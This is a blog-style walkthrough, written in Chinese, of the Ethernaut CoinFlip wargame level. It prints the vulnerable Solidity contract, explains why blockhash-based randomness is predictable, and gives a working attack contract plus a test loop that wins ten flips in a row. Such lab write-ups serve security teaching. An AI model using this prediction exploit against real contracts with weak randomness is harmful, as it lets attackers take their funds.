DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 3(CoinFlip)

LEVEL 3 (CoinFlip)

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

通关要求

consecutiveWins = 10

要点

  1. 合约的存储变量,包含private,对外都是可见的,例如通过 web3.eth.getStorageAt(address, position)查看 具体变量在哪个position,会根据变量类型计算,不是按变量顺序123,可能被压缩 参考: https://docs.soliditylang.org/en/v0.8.14/internals/layout_in_storage.html
  2. 不要根据block变量来做随机的依据(包括number/timestamp等等),这些都是不安全的

解题思路

直接复制代码,生成guess
contracts/03CoinFlipRun.sol

interface ILevel {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipRun {    
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function run(address _levelAddress) external {
        //从原合约复制过来的代码
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue/FACTOR;
        bool side = coinFlip == 1 ? true : false;        
        ILevel(_levelAddress).flip(side);
    }
}
Enter fullscreen mode Exit fullscreen mode

注意不要在soldity循环10次,要多次事务调用

test/03CoinFlip.js

  it("attacks", async function () {
    for (let i = 0; i < 10; i++) {
      await runContract.run(levelContract.address);
    }
  });
Enter fullscreen mode Exit fullscreen mode

Top comments (0)